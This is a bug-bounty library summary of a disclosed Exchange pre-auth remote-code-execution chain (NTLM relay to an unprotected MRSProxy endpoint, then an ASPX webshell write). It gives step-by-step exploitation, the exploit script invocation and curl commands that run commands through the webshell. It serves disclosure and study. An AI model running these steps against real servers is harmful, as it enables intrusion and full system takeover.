# GitHub - hypnguyen1209/CVE-2026-62911: POC pre-auth RCE on Exchange

Exchange MRSProxy HTTP.sys endpoint lacks Extended Protection, allowing NTLM relay of a machine account to write an ASPX webshell and gain SYSTEM.

- Payout: $200,000
- Severity: critical
- Program: Microsoft
- Found by: @DarkWebInformer
- Disclosed: 2026-11-16
- CVE: CVE-2026-62911
- Write-up quality: 8/10
- Original: https://github.com/hypnguyen1209/CVE-2026-62911
- Library page: https://bugbountylibrary.com/r/blog%3Agithub-com-hypnguyen1209-cve-2026-62911
- Tags: area:cloud domain:infra impact:privesc impact:rce kind:bounty platform:blog sev:critical tech:windows technique:chained technique:default-creds vuln:auth-bypass vuln:file-upload vuln:rce

**Target:** Exchange MailboxReplicationProxyService (MRSProxy) WCF endpoint on HTTP.sys
**Root cause:** The MrsProxyHttpsBinding on HTTP.sys uses Negotiate auth without an extendedProtectionPolicy, so channel bindings aren't validated and NTLM relay succeeds. Machine accounts hold ms-Exch-EPI-Token-Serialization by default, granting full WCF access.
**Steps:**
1. Trigger MS-EFSR (EfsRpcOpenFileRaw) via PetitPotam on EX02 to force machine-account NTLM auth back to attacker.
2. Capture EX02$ NTLM negotiate on SMB listener.
3. Relay NTLM over HTTPS to EX01's /Microsoft.Exchange.MailboxReplicationService.ProxyService (no EPA check).
4. Call `IMailbox_Config6(... filePath=C:\inetpub\wwwroot\aspnet_client\shell.aspx ...)` then `IMailbox_Connect()` to write the file.
5. Request `/aspnet_client/shell.aspx?cmd=whoami` to execute as SYSTEM.
**How found:** Noticed Exchange exposes MRSProxy on two paths, one on IIS with Extended Protection and one on HTTP.sys without it; the config binding lacks extendedProtectionPolicy, and machine accounts carry the serialization right by default.
**Exploitation:** Unauthenticated PetitPotam coerces a machine account to authenticate; the NTLM is relayed to the HTTP.sys MRSProxy endpoint which skips EPA. Default machine-account rights satisfy WCF authorization, then ConfigPst writes an attacker-chosen path with no extension check, dropping an ASPX webshell into an IIS-served directory for SYSTEM code execution.
**Escalation:** Chained three bugs: unauthenticated coercion, missing EPA on HTTP.sys endpoint, and unvalidated filePath in ConfigPst, escalating from no creds to SYSTEM.
**Insight:** When a service exposes the same WCF contract on two hosts, compare their auth hardening: an HTTP.sys-hosted endpoint often lacks EPA/channel binding that the IIS twin enforces, making it a relay target. Also check filePath-style params in PST/mailbox APIs for missing extension validation.

## Proof of concept (copied exactly from the original report)

**Exploit command with target, trigger, listener**

```
python3 exploit.py \
 -t 192.168.1.10 \
 -e 192.168.1.11 \
 -l 192.168.1.100

If PetitPotam needs auth on your target:

python3 exploit.py \
 -t 192.168.1.10 \
 -e 192.168.1.11 \
 -l 192.168.1.100 \
 -u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
```

**WCF interface with attacker-controlled filePath**

```
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
 void ExchangeVersionInformation(
 VersionInformation clientVersion,
 out VersionInformation serverVersion);

 long IMailbox_Config6(
 Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
 string filePath, // attacker-controlled, no validation
 byte[] partitionHint, Guid mdbGuid, string mdbName,
 MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);

 void IMailbox_Connect(long mailboxHandle);
 // calls PSTSession.Open() — writes file at filePath
```

**Webshell verification and command execution curl**

```
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
```

